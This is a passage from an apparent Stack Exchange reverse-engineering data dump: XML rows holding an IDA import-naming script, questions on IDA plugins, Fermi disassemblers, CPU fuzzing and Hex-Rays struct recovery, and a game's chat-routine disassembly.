0);&#xA;MakeName    (0X4DB2C4,  &quot;GetCurrentProcess&quot;);&#xA;MakeDword   (x=0X4DB2C8);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2C8,  &quot;HeapAlloc&quot;);&#xA;MakeDword   (x=0X4DB2CC);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2CC,  &quot;HeapReAlloc&quot;);&#xA;MakeDword   (x=0X4DB2D0);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2D0,  &quot;HeapFree&quot;);&#xA;MakeDword   (x=0X4DB2D4);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2D4,  &quot;RaiseException&quot;);&#xA;MakeDword   (x=0X4DB2D8);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2D8,  &quot;GetVersion&quot;);&#xA;MakeDword   (x=0X4DB2DC);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2DC,  &quot;ReadFile&quot;);&#xA;MakeDword   (x=0X4DB2E0);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2E0,  &quot;WriteFile&quot;);&#xA;MakeDword   (x=0X4DB2E4);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2E4,  &quot;SetFilePointer&quot;);&#xA;MakeDword   (x=0X4DB2E8);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2E8,  &quot;HeapDestroy&quot;);&#xA;MakeDword   (x=0X4DB2EC);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2EC,  &quot;LCMapStringW&quot;);&#xA;MakeDword   (x=0X4DB2F0);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2F0,  &quot;SetHandleCount&quot;);&#xA;MakeDword   (x=0X4DB2F4);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2F4,  &quot;GetStdHandle&quot;);&#xA;MakeDword   (x=0X4DB2F8);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2F8,  &quot;GetStartupInfoA&quot;);&#xA;MakeDword   (x=0X4DB2FC);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2FC,  &quot;MultiByteToWideChar&quot;);&#xA;MakeDword   (x=0X4DB300);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB300,  &quot;WideCharToMultiByte&quot;);&#xA;MakeDword   (x=0X4DB304);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB304,  &quot;LCMapStringA&quot;);&#xA;MakeDword   (x=0X4DB308);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB308,  &quot;UnhandledExceptionFilter&quot;);&#xA;MakeDword   (x=0X4DB30C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB30C,  &quot;FreeEnvironmentStringsA&quot;);&#xA;MakeDword   (x=0X4DB310);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB310,  &quot;HeapCreate&quot;);&#xA;MakeDword   (x=0X4DB314);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB314,  &quot;SetUnhandledExceptionFilter&quot;);&#xA;MakeDword   (x=0X4DB318);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB318,  &quot;GetFileAttributesA&quot;);&#xA;MakeDword   (x=0X4DB31C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB31C,  &quot;FlushFileBuffers&quot;);&#xA;MakeDword   (x=0X4DB320);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB320,  &quot;GetProcAddress&quot;);&#xA;MakeDword   (x=0X4DB324);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB324,  &quot;GetModuleHandleA&quot;);&#xA;MakeByte    (0X4DB328);&#xA;MakeArray   (0X4DB328,  0X4);&#xA;ExtLinA     (0X4DB32C,  0,  &quot;; &quot;);&#xA;ExtLinA     (0X4DB32C,  1,  &quot;; Imports from USER32.dll&quot;);&#xA;ExtLinA     (0X4DB32C,  2,  &quot;; &quot;);&#xA;MakeDword   (x=0X4DB32C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB32C,  &quot;MessageBoxA&quot;);&#xA;MakeDword   (x=0X4DB330);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB330,  &quot;LoadImageA&quot;);&#xA;MakeByte    (0X4DB334);&#xA;MakeArray   (0X4DB334,  0X4);&#xA;ExtLinA     (0X4DB338,  0,  &quot;; &quot;);&#xA;ExtLinA     (0X4DB338,  1,  &quot;; Imports from WSOCK32.dll&quot;);&#xA;ExtLinA     (0X4DB338,  2,  &quot;; &quot;);&#xA;MakeDword   (x=0X4DB338);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB338,  &quot;__imp_ioctlsocket&quot;);&#xA;MakeDword   (x=0X4DB33C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB33C,  &quot;__imp_inet_ntoa&quot;);&#xA;MakeDword   (x=0X4DB340);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB340,  &quot;__imp_WSACleanup&quot;);&#xA;MakeDword   (x=0X4DB344);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB344,  &quot;__imp_WSAStartup&quot;);&#xA;MakeDword   (x=0X4DB348);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB348,  &quot;__imp_recvfrom&quot;);&#xA;MakeDword   (x=0X4DB34C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB34C,  &quot;__imp_sendto&quot;);&#xA;MakeDword   (x=0X4DB350);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB350,  &quot;__imp_recv&quot;);&#xA;MakeDword   (x=0X4DB354);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB354,  &quot;__imp_closesocket&quot;);&#xA;MakeDword   (x=0X4DB358);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB358,  &quot;__imp_socket&quot;);&#xA;MakeDword   (x=0X4DB35C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB35C,  &quot;__imp_inet_addr&quot;);&#xA;MakeDword   (x=0X4DB360);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB360,  &quot;__imp_setsockopt&quot;);&#xA;MakeDword   (x=0X4DB364);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB364,  &quot;__imp_htons&quot;);&#xA;MakeDword   (x=0X4DB368);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB368,  &quot;__imp_htonl&quot;);&#xA;MakeDword   (x=0X4DB36C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB36C,  &quot;__imp_bind&quot;);&#xA;MakeDword   (x=0X4DB370);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB370,  &quot;__imp_gethostbyname&quot;);&#xA;MakeDword   (x=0X4DB374);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB374,  &quot;__imp_connect&quot;);&#xA;MakeDword   (x=0X4DB378);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB378,  &quot;__imp_send&quot;);&#xA;MakeByte    (0X4DB37C);&#xA;MakeArray   (0X4DB37C,  0X4);&#xA;ExtLinA     (0X4DB380,  0,  &quot;; &quot;);&#xA;ExtLinA     (0X4DB380,  1,  &quot;; Imports from zlib.dll&quot;);&#xA;ExtLinA     (0X4DB380,  2,  &quot;; &quot;);&#xA;MakeDword   (x=0X4DB380);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB380,  &quot;__imp_compress&quot;);&#xA;MakeByte    (0X4DB384);&#xA;MakeArray   (0X4DB384,  0X4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-04-13T02:29:43.770" LastActivityDate="2014-04-13T02:29:43.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4062" PostTypeId="1" CreationDate="2014-04-13T02:54:26.963" Score="3" ViewCount="309" Body="&lt;p&gt;I am looking at basically capturing VU Meter data from an audio recording program, preferably the highest resolution possible, and inputting that data into a circuit to power LED's, respectively.  I am hoping there is a way to &quot;harness&quot; this data from the audio program. I've attached a picture of what exactly these look like...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, using a AD557 microprocessor (handles 8-bit digital input) can then output my required voltage to drive my external LED VU Meter circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the program I am using (Pro Tools) and the video gives you a visual idea as well.  &lt;a href=&quot;https://www.youtube.com/watch?v=d5IUWJY9b0Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=d5IUWJY9b0Q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands, there are a few options for getting the metering data from this program. The first, using the HUI protocol via MIDI, does not provide the resolution I, or others are looking for to provide external metering. The second option, is a secure protocol (Eucon) that is only available for developers, and I cannot obtain this. None the less, this above information is not important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am fairly new to programming, I am asking for help regarding the means to obtain this metering 'data' another way. How would I be able to obtain the raw data of these meters from the program? Is there a specific method I could try? I'm hoping someone could shoot out answers or a straight up resolution to how I could get this data. Hope this clarifies a little.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help! Thank You!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ocCk.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="4356" LastActivityDate="2014-06-02T17:04:40.553" Title="Extracting data from a Program for external use" Tags="|debuggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4063" PostTypeId="1" CreationDate="2014-04-14T01:49:48.703" Score="3" ViewCount="1741" Body="&lt;p&gt;I wrote an idaplugin with idapython, but it has some function that only works after IDA is done parsing the input file and displays the disassembly window. So, is there a way to automatically run a plugin after IDA has finished parsing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P/S: I tried using IDBHooks but everytime I hook in IDA crashes, therefore I want to find another way without hooks.&lt;/p&gt;&#xA;" OwnerUserId="4361" LastEditorUserId="225" LastEditDate="2014-04-14T05:13:31.897" LastActivityDate="2014-04-14T05:13:31.897" Title="How to automatic run ida plugin after IDA Parse PE file" Tags="|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4064" PostTypeId="2" ParentId="4063" CreationDate="2014-04-14T02:56:48.880" Score="3" Body="&lt;p&gt;It sounds like &lt;code&gt;idaapi.autoWait()&lt;/code&gt; is what you are looking for. Simply add it to the beginning of your script. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2014-04-14T02:56:48.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4065" PostTypeId="1" AcceptedAnswerId="4229" CreationDate="2014-04-14T03:22:30.643" Score="3" ViewCount="677" Body="&lt;p&gt;I've recently started exploring the world of GPU-based malware.  Academia doesn't have a ton of papers here, but there's some powerful ones.  I'm looking at trying to improve the communities tools in terms of NVIDIA's fermi ISA, (since AMD published theirs!)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To date, I've not found any fermi disassemblers, but one ONE fermi assembler:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/asfermi/&quot; rel=&quot;nofollow&quot;&gt;asfermi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are their any plugins/disassemblers that this community is aware of, that my google searches have apparently turned up zilch?  NVIDIA's supplied tools don't work for binaries compiled with vs2010.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;=============[Updated Context]===================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appears that to a certain extent, my assumptions were wrong.  NVIDIA's disassembly tools (nvobjdump, nvdisasm) are designed only to work with their *.cubin (maybe *.ptx) intermediate assemblies.  Which is bad, from a malware analysis perspective.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After searching extensively I found a dead project called &lt;a href=&quot;https://github.com/laanwj/decuda&quot; rel=&quot;nofollow&quot;&gt;decuda&lt;/a&gt;.  (I say dead because it hasn't had a commit in years.)  AND it doesn't seem to be able to handle disassembling *.cubin binaries from the latest releases, 5.5 and 6.0.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="4053" LastEditDate="2014-04-17T23:09:21.460" LastActivityDate="2014-05-01T21:47:54.843" Title="Are there ANY supported Fermi Disassemblers out there?" Tags="|disassembly|windows|linux|nvidia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4066" PostTypeId="2" ParentId="3789" CreationDate="2014-04-14T04:52:35.837" Score="5" Body="&lt;p&gt;IDA Pro and a number of other disassemblers will disassemble your file, assuming that it isn't compressed or otherwise obfuscated.  But this is only the first step in producing a working assembly language program, which you will need if you are to translate it into a higher language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially you are looking at two projects.  The first is to produce a working assembly language version of your game.  The second is to translate the game mechanics and logic into C++ or whatever.  The first is easier than the second.&lt;/p&gt;&#xA;" OwnerUserId="4362" LastActivityDate="2014-04-14T04:52:35.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4067" PostTypeId="1" CreationDate="2014-04-14T09:19:35.393" Score="1" ViewCount="180" Body="&lt;p&gt;My idea is near what SETI Institute does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distributed &lt;a href=&quot;https://en.wikipedia.org/wiki/Fuzz%5ftesting&quot; rel=&quot;nofollow&quot;&gt;fuzz testing&lt;/a&gt; against modern &lt;strong&gt;Intel&lt;/strong&gt; and &lt;strong&gt;Amd&lt;/strong&gt; Central processing units(CPU).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find similar to &lt;a href=&quot;https://en.wikipedia.org/wiki/Blue%5fPill%5f%28software%29&quot; rel=&quot;nofollow&quot;&gt;Blue Pill&lt;/a&gt; bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there?&lt;/p&gt;&#xA;" OwnerUserId="4364" LastActivityDate="2014-04-14T09:19:35.393" Title="Is there distributed fuzz testing platform against modern proprietary CPU like SETI@HOME?" Tags="|fuzzing|" AnswerCount="0" CommentCount="1" ClosedDate="2014-04-25T14:22:27.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="4068" PostTypeId="2" ParentId="3834" CreationDate="2014-04-14T19:47:55.880" Score="1" Body="&lt;p&gt;i didnt find differences with the diff command... &#xA;But I solved the problem...&#xA;It was from the @Async annotation.&#xA;The solution was to isolate the @Async method in a new class.&#xA;Now I can use the .jar archive from my nexus repository.&#xA;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="4115" LastActivityDate="2014-04-14T19:47:55.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4069" PostTypeId="1" CreationDate="2014-04-15T01:40:45.900" Score="3" ViewCount="1631" Body="&lt;p&gt;I barely know any assembly and just started using IDA PRO a few months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the code that Hex-Rays generates pretty well and I think I know why Hex-Ray's fails to create a struct of this math but I want to make hex-ray's generate better code for structures without using the hardcoded memory address in the &lt;code&gt;lea&lt;/code&gt; instruction to avoid doing tons of manual work to get it to compile since it's over thousand of lines of C code. and why is screws up, but I don't know how to fix it so Hex-Ray's evaluates the hard-coded memory address into a struct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't use the &lt;code&gt;T&lt;/code&gt; command on the assembly code which should offset that hardcoded memory address into the struct I created, since the hardcoded memory adress is computed with other another offset which is the struct maximum size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a bunch of images below to try to show off the multiple problems I'm experiencing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the problems are probably easy to solve but I lack the knowledge to figure it out not really any good resources for this either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some Hex-Ray's code how it looks right now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( *v320 &amp;amp;&amp;amp; ChatCounter64Max &amp;gt; 0 )&#xA;{&#xA;  if ( !strcmp((364 * ChatCounter64Max + 0x431FC8), v320) &amp;amp;&amp;amp; !strcmp((364 * ChatCounter64Max + 4398748), ChatText) )&#xA;    return;&#xA;  v320 = v377;&#xA;}&#xA;v321 = &amp;amp;ChatRelatedArray[ChatCounter64Max];&#xA;v322 = &amp;amp;ChatRelatedArray[ChatCounter64Max];&#xA;ChatCounter64Max = ((ChatCounter64Max + 1) % -64);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the ChatRelatedArray is the struct properly initializing a few lines below the if statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqCM9.png&quot; alt=&quot;hex-rays&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is showing the structure location and how it looks like &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bcUYZ.png&quot; alt=&quot;struct&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how the bad locations look like, Those locations are not bad I just haven't figured out what they are used for they are probably some big array or struct. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AUFs4.png&quot; alt=&quot;bad locations&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it looks like in assembly the problems&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Ass7.png&quot; alt=&quot;the problem assembly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the assembly posted in Code not images.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004186C7&#xA;.text:004186C7 loc_4186C7:                             ; CODE XREF: ChatProcessor+3E6Bj&#xA;.text:004186C7                 mov     al, [ebx]&#xA;.text:004186C9                 mov     edx, ChatCounter64Max&#xA;.text:004186CF                 test    al, al&#xA;.text:004186D1                 jz      loc_418762&#xA;.text:004186D7                 test    edx, edx&#xA;.text:004186D9                 jle     loc_418762&#xA;.text:004186DF                 lea     eax, [edx+edx*4]&#xA;.text:004186E2                 mov     esi, ebx&#xA;.text:004186E4                 lea     eax, [eax+eax*8]&#xA;.text:004186E7                 lea     edi, [edx+eax*2]&#xA;.text:004186EA                 shl     edi, 2&#xA;.text:004186ED                 lea     eax, unk_431FC8[edi]&#xA;.text:004186F3&#xA;.text:004186F3 loc_4186F3:                             ; CODE XREF: ChatProcessor+3EC1j&#xA;.text:004186F3                 mov     bl, [eax]&#xA;.text:004186F5                 mov     cl, bl&#xA;.text:004186F7                 cmp     bl, [esi]&#xA;.text:004186F9                 jnz     short loc_418717&#xA;.text:004186FB                 test    cl, cl&#xA;.text:004186FD                 jz      short loc_418713&#xA;.text:004186FF                 mov     bl, [eax+1]&#xA;.text:00418702                 mov     cl, bl&#xA;.text:00418704                 cmp     bl, [esi+1]&#xA;.text:00418707                 jnz     short loc_418717&#xA;.text:00418709                 add     eax, 2&#xA;.text:0041870C                 add     esi, 2&#xA;.text:0041870F                 test    cl, cl&#xA;.text:00418711                 jnz     short loc_4186F3&#xA;.text:00418713&#xA;.text:00418713 loc_418713:                             ; CODE XREF: ChatProcessor+3EADj&#xA;.text:00418713                 xor     eax, eax&#xA;.text:00418715                 jmp     short loc_41871C&#xA;.text:00418717 ; ---------------------------------------------------------------------------&#xA;.text:00418717&#xA;.text:00418717 loc_418717:                             ; CODE XREF: ChatProcessor+3EA9j&#xA;.text:00418717                                         ; ChatProcessor+3EB7j&#xA;.text:00418717                 sbb     eax, eax&#xA;.text:00418719                 sbb     eax, 0FFFFFFFFh&#xA;.text:0041871C&#xA;.text:0041871C loc_41871C:                             ; CODE XREF: ChatProcessor+3EC5j&#xA;.text:0041871C                 test    eax, eax&#xA;.text:0041871E                 jnz     short loc_41875E&#xA;.text:00418720                 mov     esi, [esp+16078h+ChatText]&#xA;.text:00418727                 lea     eax, [edi+431E9Ch]&#xA;.text:0041872D&#xA;.text:0041872D loc_41872D:                             ; CODE XREF: ChatProcessor+3EFBj&#xA;.text:0041872D                 mov     bl, [eax]&#xA;.text:0041872F                 mov     cl, bl&#xA;.text:00418731                 cmp     bl, [esi]&#xA;.text:00418733                 jnz     short loc_418751&#xA;.text:00418735                 test    cl, cl&#xA;.text:00418737                 jz      short loc_41874D&#xA;.text:00418739                 mov     bl, [eax+1]&#xA;.text:0041873C                 mov     cl, bl&#xA;.text:0041873E                 cmp     bl, [esi+1]&#xA;.text:00418741                 jnz     short loc_418751&#xA;.text:00418743                 add     eax, 2&#xA;.text:00418746                 add     esi, 2&#xA;.text:00418749                 test    cl, cl&#xA;.text:0041874B                 jnz     short loc_41872D&#xA;.text:0041874D&#xA;.text:0041874D loc_41874D:                             ; CODE XREF: ChatProcessor+3EE7j&#xA;.text:0041874D                 xor     eax, eax&#xA;.text:0041874F                 jmp     short loc_418756&#xA;.text:00418751 ; ---------------------------------------------------------------------------&#xA;.text:00418751&#xA;.text:00418751 loc_418751:                             ; CODE XREF: ChatProcessor+3EE3j&#xA;.text:00418751                                         ; ChatProcessor+3EF1j&#xA;.text:00418751                 sbb     eax, eax&#xA;.text:00418753                 sbb     eax, 0FFFFFFFFh&#xA;.text:00418756&#xA;.text:00418756 loc_418756:                             ; CODE XREF: ChatProcessor+3EFFj&#xA;.text:00418756                 test    eax, eax&#xA;.text:00418758                 jz      loc_418EAD      ; jumptable 00418BB9 default case&#xA;.text:0041875E&#xA;.text:0041875E loc_41875E:                             ; CODE XREF: ChatProcessor+3ECEj&#xA;.text:0041875E                 mov     ebx, [esp+16078h+var_16060]&#xA;.text:00418762&#xA;.text:00418762 loc_418762:                             ; CODE XREF: ChatProcessor+3E81j&#xA;.text:00418762                                         ; ChatProcessor+3E89j&#xA;.text:00418762                 lea     eax, [edx+edx*4]&#xA;.text:00418765                 push    12Ch            ; Count&#xA;.text:0041876A                 lea     ecx, [eax+eax*8]&#xA;.text:0041876D                 lea     eax, [edx+ecx*2]&#xA;.text:00418770                 mov     ecx, [esp+1607Ch+ChatText]&#xA;.text:00418777                 push    ecx             ; Source&#xA;.text:00418778                 lea     edi, ChatRelatedArray.PlayerName2[eax*4]&#xA;.text:0041877F                 lea     eax, [edx+1]&#xA;.text:00418782                 cdq&#xA;.text:00418783                 xor     eax, edx&#xA;.text:00418785                 push    edi             ; Dest&#xA;.text:00418786                 sub     eax, edx&#xA;.text:00418788                 and     eax, 3Fh&#xA;.text:0041878B                 xor     eax, edx&#xA;.text:0041878D                 sub     eax, edx&#xA;.text:0041878F                 mov     ChatCounter64Max, eax&#xA;.text:00418794                 call    _strncpy&#xA;.text:00418799                 add     esp, 0Ch&#xA;.text:0041879C                 lea     esi, [edi+12Ch]&#xA;.text:004187A2                 push    20h             ; Count&#xA;.text:004187A4                 push    ebx             ; Source&#xA;.text:004187A5                 push    esi             ; Dest&#xA;.text:004187A6                 mov     byte ptr [esi-1], 0&#xA;.text:004187AA                 call    _strncpy&#xA;.text:004187AF                 add     esp, 0Ch&#xA;.text:004187B2                 add     edi, 14Ch&#xA;.text:004187B8                 mov     byte ptr [esi+1Fh], 0&#xA;.text:004187BC                 push    20h             ; Count&#xA;.text:004187BE                 push    offset aEveryone ; &quot;(Everyone)&quot;&#xA;.text:004187C3                 push    edi             ; Dest&#xA;.text:004187C4                 call    _strncpy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my other problem it doesn't seem to save even with evaluator / analyzer is off doesn't save to IDB database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LElYn.png&quot; alt=&quot;my other problem ida&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2014-04-15T07:26:38.073" Title="IDA PRO Basics For Hex Rays How to fix address to struct which is dynamically calculated in if statement" Tags="|ida|assembly|dynamic-analysis|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4070" PostTypeId="2" ParentId="4060" CreationDate="2014-04-15T07:04:39.650" Score="1" Body="&lt;p&gt;I, too would like to see a Sourcer manual.  In partial answer, the installation contains a file SAMPLE2.DEF that contains the following text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀&#xA;              SAMPLE2 DEFINITION FILE&#xA;          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄&#xA;&#xA; ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Section 1: CONTROL INFORMATION   ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒&#xA;&#xA;uP               = 8088&#xA;&#xA;&#xA; ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Section 2: RANGE DEFINITION      ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒&#xA;&#xA; ════ Segments ══════════════════════════&#xA;&#xA;  begin   ....   end   ..   default  ..    seg ...  seg   &#xA; seg:off  ..   off  ..   ds  ..   es  ...   type . size  &#xA; -------   ...  ---- ..   ---- ----  .. ----- . -----  &#xA;none&#xA;&#xA;&#xA; ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ Section 3: REFERENCE DEFINITIONS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒&#xA;&#xA; ════ Subroutines ═══════════════════════  &#xA;  seg:off ..  type &amp;amp; options  ..   label     ..      comments  &#xA;  ------- ..  --------------   ..  -------------- --------------&#xA;&#xA;&#xA;&#xA; ════ Locations ═════════════════════════  &#xA;  seg:off ..  type &amp;amp; options  ..   label     ......      comments  &#xA;  ------- ..  --------------  ..   -------------- .. --------------&#xA;&#xA;&#xA;&#xA; ════ Data Items ════════════════════════  &#xA;  seg:off ..  type &amp;amp; options  ..   label     ......      comments  &#xA;  ------- ...  --------------  ..   -------------- .. --------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4362" LastEditorUserId="60" LastEditDate="2014-04-22T13:02:20.333" LastActivityDate="2014-04-22T13:02:20.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4071" PostTypeId="2" ParentId="4069" CreationDate="2014-04-15T07:26:38.073" Score="2" Body="&lt;p&gt;Can you do this in a 2 pass methodology?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, generate whatever code HexRays is able to generate.&#xA;Secondly, use your programming skill to write a program that will read the HexRays output file, recognise the fields you need calculated, do the calculation , replacing those fields, and then output the modified source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automation is your friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, hey, manually doing fixups is what I like about disassembly.  Learn to love it too.&lt;/p&gt;&#xA;" OwnerUserId="4362" LastActivityDate="2014-04-15T07:26:38.073" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
